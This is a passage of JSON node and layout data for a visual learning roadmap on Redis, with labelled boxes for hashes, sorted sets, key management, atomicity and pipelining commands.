\"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JX5ajmcUmkshTO-mLF8lH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -379.5325693553771,\n        \"y\": 1281.501634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SDIFF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2gZL4a9aWGKWLa89iyHTc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 83,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 83,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -379.5325693553771,\n        \"y\": 1281.501634732462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 83,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WMDsN_k9KKTMJoVxvqRe_\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -478.464883323405,\n        \"y\": 1389.552701727933\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"JpPwzuJ9dK6b4uWH5rWe6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -478.464883323405,\n        \"y\": 1389.552701727933\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"2SG4Hr9Tuv6cxmGkrKjYZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -483.0325693553771,\n        \"y\": 1334.901634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"b48EUyFGUeSjtT5fOa_m6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -483.0325693553771,\n        \"y\": 1334.901634732462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3hayYoSZepw7pppBubotg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -481.964883323405,\n        \"y\": 1429.552701727933\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YhqqIGcdOk9Qwfhqpc0L-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -481.964883323405,\n        \"y\": 1429.552701727933\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b48EUyFGUeSjtT5fOa_m6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -483.0325693553771,\n        \"y\": 1334.901634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0v8uLWRCbAqEmKKdYaRQW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -483.0325693553771,\n        \"y\": 1334.901634732462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MnC2RVZsbUXRWBHhoS3IG\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -762.1381872719934,\n        \"y\": 601.2610824325313\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 399,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 399\n      },\n      \"positionAbsolute\": {\n        \"x\": -762.1381872719934,\n        \"y\": 601.2610824325313\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 399\n      }\n    },\n    {\n      \"id\": \"Wl23Jh-ASJOQ850yjaTIU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -794.6381872719934,\n        \"y\": 754.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Strings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4-C4XqACUp4nvcMIj6djF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -794.6381872719934,\n        \"y\": 754.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LKpF1cUo7n_B8_7VYil8G\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -762.1381872719934,\n        \"y\": 996.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"MnC2RVZsbUXRWBHhoS3IG\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 69\n      },\n      \"positionAbsolute\": {\n        \"x\": -762.1381872719934,\n        \"y\": 996.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"4-C4XqACUp4nvcMIj6djF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -799.0705012400213,\n        \"y\": 982.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -799.0705012400213,\n        \"y\": 982.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wY46Qj5Inw_ClBNI9PB_2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -205.4360763433994,\n        \"y\": 831.577518106665\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hashes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4-C4XqACUp4nvcMIj6djF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -205.4360763433994,\n        \"y\": 831.577518106665\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BOJzn9SWad9oRRdY_ub01\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.870749690558,\n        \"y\": 619.6621339677162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HSET\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 52,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 52\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.870749690558,\n        \"y\": 619.6621339677162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 52\n      }\n    },\n    {\n      \"id\": \"MsKg9m5jFwHM2Bzjf-vdu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.88342242236251,\n        \"y\": 621.1621339677162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HGET\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 148.88342242236251,\n        \"y\": 621.1621339677162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TpR33sJ-tAjeG3jpGTvYR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.870749690558,\n        \"y\": 674.6621339677162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HGETALL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.870749690558,\n        \"y\": 674.6621339677162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E7xFZkqqbzokD5KGTn9zJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.88342242236251,\n        \"y\": 674.6621339677162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HDEL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 148.88342242236251,\n        \"y\": 674.6621339677162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"adhLMuSmfYMRyWTwIgnyE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.870749690558,\n        \"y\": 726.6621339677162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HEXISTS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.870749690558,\n        \"y\": 726.6621339677162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3JTlcdE0621Do-fF7rmvY\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 58.870749690558,\n        \"y\": 835.6621339677162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"WMDsN_k9KKTMJoVxvqRe_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 58.870749690558,\n        \"y\": 835.6621339677162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"jtVnUD-na-WffMaS8qYfu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 47.870749690558,\n        \"y\": 876.6621339677162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3hayYoSZepw7pppBubotg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 47.870749690558,\n        \"y\": 876.6621339677162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QTbkWZ7BpqYmBhUivccPu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -205.4360763433994,\n        \"y\": 971.0460686385047\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sorted Sets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wY46Qj5Inw_ClBNI9PB_2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 144,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -205.4360763433994,\n        \"y\": 971.0460686385047\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0swsBD0sOY-o5lzibT999\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.870749690558,\n        \"y\": 979.7159079993978\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ZADD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 44.870749690558,\n        \"y\": 979.7159079993978\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3pFChX6YIItrBz9lxu4XM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.88342242236251,\n        \"y\": 979.7159079993978\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ZRANGE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 148.88342242236251,\n        \"y\": 979.7159079993978\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OlbixGa5RmdqEt7snY04j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.870749690558,\n        \"y\": 1085.4042933441044\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ZRANGEBYSCORE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.870749690558,\n        \"y\": 1085.4042933441044\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m0FZDPwNE71zcwM_gUwz0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.88342242236251,\n        \"y\": 1033.4059280765664\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ZREM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 148.88342242236251,\n        \"y\": 1033.4059280765664\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W4v7FIQr2k-Vbm-HdfKog\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.870749690558,\n        \"y\": 1137.9059280765664\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ZINCRBY\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.870749690558,\n        \"y\": 1137.9059280765664\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AF_kWM4V8n5Ux06IgEVTl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.870749690558,\n        \"y\": 1033.4059280765664\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ZRANK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.870749690558,\n        \"y\": 1033.4059280765664\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O-fZM_U-tW0pYtNzN_8Ax\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.88342242236251,\n        \"y\": 1137.9059280765664\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ZCOUNT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W4v7FIQr2k-Vbm-HdfKog\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 148.88342242236251,\n        \"y\": 1137.9059280765664\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"P6TDUCroLlEI7qePBFHIH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.870749690558,\n        \"y\": 780\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0v8uLWRCbAqEmKKdYaRQW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 44.870749690558,\n        \"y\": 780\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B2KNO28rJqoasbleVgXn7\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 63.2537192879729,\n        \"y\": 1247.2798077525504\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Commands\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"3JTlcdE0621Do-fF7rmvY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 63.2537192879729,\n        \"y\": 1247.2798077525504\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"lxevY15ZyP43s_JrEqMX7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 46.76039918125758,\n        \"y\": 1284.3678500599142\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jtVnUD-na-WffMaS8qYfu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 46.76039918125758,\n        \"y\": 1284.3678500599142\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o6e_CwxfPoU6qkfWkwKwj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.870749690558,\n        \"y\": 1191.6176737848343\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More Commands\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"P6TDUCroLlEI7qePBFHIH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 44.870749690558,\n        \"y\": 1191.6176737848343\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8gyVwKg3Ctt2w15X7xZgC\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -239.32217668933376,\n        \"y\": 1187.6176737848343\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Working with Redis\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 57,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 57\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -239.32217668933376,\n        \"y\": 1187.6176737848343\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 57\n      }\n    },\n    {\n      \"id\": \"5SgC-_4Be_XpFmbJH3wH2\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -207.82217668933376,\n        \"y\": 1493.001634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Key Management\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 151,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -207.82217668933376,\n        \"y\": 1493.001634732462\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"jCaVx5wvsvuyqtwh6m8si\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -236.32217668933376,\n        \"y\": 1327.6577176448873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Naming Conventions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -236.32217668933376,\n        \"y\": 1327.6577176448873\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UlQHqw1dbxZnAKbsWsOgU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -236.32217668933376,\n        \"y\": 1380.6577176448873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Retrieval by Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -236.32217668933376,\n        \"y\": 1380.6577176448873\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OSIYDYPGz8Vgo9SU9GGH9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -236.32217668933376,\n        \"y\": 1433.6577176448873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Expiration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UlQHqw1dbxZnAKbsWsOgU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -236.32217668933376,\n        \"y\": 1433.6577176448873\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jrgaoDnt_RxTu79hk4hCD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 45.870749690558,\n        \"y\": 1403.6577176448873\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Atomicity in Redis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 45.870749690558,\n        \"y\": 1403.6577176448873\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LHlwjN3WHYUBUafzzwsWQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 45.870749690558,\n        \"y\": 1488.001634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pipelining\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          